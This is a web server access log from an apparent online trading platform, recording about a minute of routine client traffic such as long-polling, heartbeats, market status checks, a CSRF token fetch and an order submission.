[09/Jan/2026:15:49:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945222364 HTTP/1.1" -
[09/Jan/2026:15:49:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945221395 HTTP/1.1" -
[09/Jan/2026:15:49:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945223327 HTTP/1.1" -
[09/Jan/2026:15:49:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945238843 HTTP/1.1" -
[09/Jan/2026:15:49:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945226892 HTTP/1.1" -
[09/Jan/2026:15:49:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945227399 HTTP/1.1" -
[09/Jan/2026:15:49:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945226518 HTTP/1.1" -
[09/Jan/2026:15:49:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945228355 HTTP/1.1" -
[09/Jan/2026:15:49:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945243873 HTTP/1.1" -
[09/Jan/2026:15:49:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945232438 HTTP/1.1" -
[09/Jan/2026:15:49:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945231660 HTTP/1.1" -
[09/Jan/2026:15:49:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945232890 HTTP/1.1" -
[09/Jan/2026:15:49:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945233400 HTTP/1.1" -
[09/Jan/2026:15:49:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945248907 HTTP/1.1" -
[09/Jan/2026:15:49:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945237488 HTTP/1.1" -
[09/Jan/2026:15:49:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945236855 HTTP/1.1" -
[09/Jan/2026:15:49:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945238888 HTTP/1.1" -
[09/Jan/2026:15:49:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945238446 HTTP/1.1" -
[09/Jan/2026:15:49:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945253979 HTTP/1.1" -
[09/Jan/2026:15:49:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945242526 HTTP/1.1" -
[09/Jan/2026:15:49:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945242048 HTTP/1.1" -
[09/Jan/2026:15:49:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945243470 HTTP/1.1" -
[09/Jan/2026:15:49:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945259009 HTTP/1.1" -
[09/Jan/2026:15:49:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945244888 HTTP/1.1" -
[09/Jan/2026:15:49:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945247560 HTTP/1.1" -
[09/Jan/2026:15:49:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945247143 HTTP/1.1" -
[09/Jan/2026:15:49:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945248506 HTTP/1.1" -
[09/Jan/2026:15:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945264065 HTTP/1.1" -
[09/Jan/2026:15:49:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945250886 HTTP/1.1" -
[09/Jan/2026:15:49:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945252602 HTTP/1.1" -
[09/Jan/2026:15:49:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945252193 HTTP/1.1" -
[09/Jan/2026:15:49:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945253531 HTTP/1.1" -
[09/Jan/2026:15:49:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945269096 HTTP/1.1" -
[09/Jan/2026:15:49:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945256892 HTTP/1.1" -
[09/Jan/2026:15:49:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945257644 HTTP/1.1" -
[09/Jan/2026:15:49:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945257334 HTTP/1.1" -
[09/Jan/2026:15:49:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945258567 HTTP/1.1" -
[09/Jan/2026:15:49:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945274129 HTTP/1.1" -
[09/Jan/2026:15:49:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945262671 HTTP/1.1" -
[09/Jan/2026:15:49:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945262880 HTTP/1.1" -
[09/Jan/2026:15:49:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945262522 HTTP/1.1" -
[09/Jan/2026:15:49:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945263586 HTTP/1.1" -
[09/Jan/2026:15:49:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945279151 HTTP/1.1" -
[09/Jan/2026:15:49:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:49:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:49:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1203
[09/Jan/2026:15:49:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945267762 HTTP/1.1" -
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:49:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945267666 HTTP/1.1" -
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945268880 HTTP/1.1" -
[09/Jan/2026:15:49:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945268617 HTTP/1.1" -
[09/Jan/2026:15:49:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:49:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:49:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945284169 HTTP/1.1" -
[09/Jan/2026:15:50:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:50:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1592
[09/Jan/2026:15:50:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945272800 HTTP/1.1" -
[09/Jan/2026:15:50:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945272824 HTTP/1.1" -
[09/Jan/2026:15:50:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945273637 HTTP/1.1" -
[09/Jan/2026:15:50:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945289244 HTTP/1.1" -
[09/Jan/2026:15:50:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945274889 HTTP/1.1" -
